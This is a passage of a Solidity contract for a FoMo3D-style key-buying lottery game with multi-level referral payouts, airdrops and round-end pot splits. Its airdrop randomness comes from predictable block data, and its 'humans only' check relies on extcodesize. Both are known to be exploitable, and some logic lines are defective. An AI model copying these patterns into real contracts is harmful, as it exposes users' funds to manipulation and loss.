uint256[3] private potToWinners_ = [30,15,10]; // pot of 55% to 3 winner, 30%->15%->10% 5% to next round uint256 constant private potToMaxEth_ = 20; // 20% to max eth, uint256 constant private potToMaxAff_ = 20; // 20% to max invite, //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id uint256[3] private affPerLv_ = [20,10,5]; //affiliate's scale per level, parent 20%, pa's pa 10%, papapa 5% //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // 666 } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev determine player's affid * @param _pID player's id * @param _inAffID inviter's pid * @return _affID player's real affid */ function determineAffID(uint256 _pID, uint256 _inAffID) private returns(uint256){ // affiliate must not be self, and must have a name registered if(plyr_[_pID].laff == 0 && 0 != _inAffID && _pID != _inAffID && plyr_[_inAffID].name != ''){ // update last affiliate plyr_[_pID].laff = _inAffID; // _inAffID invite a new player, count it. // update invite num of inviter for this round. if in round 0, add to round 1 uint256 _rID = (0 == rID_)?1:rID_; plyrRnds_[_rID][_inAffID].affNum = plyrRnds_[_rID][_inAffID].affNum.add(1); //update max invite num pid of this round if( plyrRnds_[_rID][round_[_rID].maxAffPID].affNum < plyrRnds_[_rID][_inAffID].affNum){ round_[_rID].maxAffPID = _inAffID; } } return plyr_[_pID].laff; } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // get real affid _affCode = determineAffID(_pID,_affCode); // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // get real affid uint256 _affID = determineAffID(_pID,pIDxAddr_[_affCode]); // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // get real affid uint256 _affID = determineAffID(_pID,pIDxName_[_affCode]); // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // get real affid _affCode = determineAffID(_pID,_affCode); // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // get real affid uint256 _affID = determineAffID(_pID,pIDxAddr_[_affCode]); // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // get real affid uint256 _affID = determineAffID(_pID,pIDxName_[_affCode]); // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen),//.add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen),//.add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(0)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev other round info. if player not set name, return null string * @return max eth of round player name * @return max eth of round * @return max invite of round player name * @return max invite of round * @return last 1 name of buyer * @return last 2 name of buyer * @return last 3 name of buyer */ function getCurrentRoundInfo2() public view returns(bytes32, uint256, bytes32, uint256, bytes32, bytes32, bytes32) { // setup local rID uint256 _rID = rID_; return ( plyr_[round_[_rID].maxEthPID].name, //1 plyrRnds_[round_[_rID].maxEthPID][_rID].eth, //2 plyr_[round_[_rID].maxAffPID].name, //3 plyrRnds_[round_[_rID].maxAffPID][_rID].affNum, //4 plyr_[round_[_rID].plyrs[0]].name, //5 plyr_[round_[_rID].plyrs[1]].name, //6 plyr_[round_[_rID].plyrs[2]].name //7 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth * @return player's papa's name */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256, bytes32) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth, //6 plyr_[plyr_[_pID].laff].name //7 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev update last multi pids who boungt key. pids able repeat */ function updateLastBuyKeysPIDs(uint256 _rID, uint256 _lastPID) private { //move last pids for(uint256 _i=potToWinners_.length-1; _i>=1; _i--){ round_[_rID].plyrs[_i] = round_[_rID].plyrs[_i - 1]; } //set lastPID to first of set round_[_rID].plyrs[0] = _lastPID; } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // // early round eth limiter // if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) // { // uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); // uint256 _refund = _eth.sub(_availableLimit); // plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); // _eth = _availableLimit; // } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders is they cost eth >= 0.01 if(_eth > 10000000000000000){ if (round_[_rID].plyr != _pID){ round_[_rID].plyr = _pID; } //update last 3 player updateLastBuyKeysPIDs(_rID, _pID); } if (round_[_rID].team != _team){ round_[_rID].team = _team; } // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); //update round of max eth player if(0 == round_[_rID].maxEthPID || plyrRnds_[round_[_rID].maxEthPID][_rID].eth < plyrRnds_[_pID][_rID].eth){ round_[_rID].maxEthPID = _pID; } // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID){ pIDxAddr_[_addr] = _pID; } if (pIDxName_[_name] != _pID){ pIDxName_[_name] = _pID; } if (plyr_[_pID].addr != _addr){ plyr_[_pID].addr = _addr; } if (plyr_[_pID].name != _name){ plyr_[_pID].name = _name; } if (plyr_[_pID].laff != _laff){ determineAffID(_pID, _laff); } if (plyrNames_[_pID][_name] == false){ plyrNames_[_pID][_name] = true; } } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's //uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _maxEthPID = round_[_rID].maxEthPID; uint256 _maxAffPID = round_[_rID].maxAffPID; if(0 == _maxAffPID){ _maxAffPID = 1; } // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner, max buyer, max inviter share // uint256 _win = (_pot.mul(potToWinner_)) / 100; uint256 _maxEth = (_pot.mul(potToMaxEth_)) / 100; uint256 _maxAff = (_pot.mul(potToMaxAff_)) / 100; uint256 _res = _pot.sub(_win).sub(_maxEth); // // pay our winner // plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // pay for maxEth player plyr_[_maxEthPID].win = _maxEth.add(plyr_[_maxEthPID].win); // pay for maxAff player plyr_[_maxAffPID].win = _maxAff.add(plyr_[_maxAffPID].win); //deal multi winner, no.1 last, no.2 last, no.3 last... for(uint256 _seq=0; _seq<potToWinners_.length; _seq++){ uint256 _win = _pot.mul(potToWinners_[_seq]) / 100; uint256 _winPID = round_[_rID].plyrs[_seq]; if(0 == _winPID){ // invalid pid, set default pid:1 _winPID = 1; } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // count res eth _res = _res.sub(_win); // log it emit F3Devents.onRoundEnded1( _seq, _winPID, _win ); } //log once emit F3Devents.onRoundEnded2( _maxEthPID, _maxEth, _maxAffPID, _maxAff ); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = 0; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev calc real max time for spent time. maxtime make half per day */ function getRealRndMaxTime(uint256 _rID) public returns(uint256) { uint256 _realRndMax = rndMax_; uint256 _days = (now - round_[_rID].strt) / (1 days); while(0 < _days --){ _realRndMax = _realRndMax / 2; } return (_realRndMax > 10 minutes) ? _realRndMax : 10 minutes; } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); //get real max time uint256 _realRndMax = getRealRndMaxTime(_rID); // compare to max and set new end time if (_newTime < (_realRndMax).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = _realRndMax.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 5% out to community rewards uint256 _com = _eth / 20; //community rewards and FoMo3D short all send to god address(god).transfer(_com); // decide what to do with affiliate share of fees // uint256 _curAffID = _affID; // use player's affid, not use param uint256 _curAffID = plyr_[_pID].laff; for(uint256 _i=0; _i< affPerLv_.length; _i++){ uint256 _aff = _eth.mul(affPerLv_[_i]) / (100); // affiliate must not be self, and must have a name registered if (_curAffID == _pID || plyr_[_curAffID].name == '') { //affID is not invalid. set default id: 1 _curAffID = 1; } plyr_[_curAffID].aff = _aff.add(plyr_[_curAffID].aff); //log emit 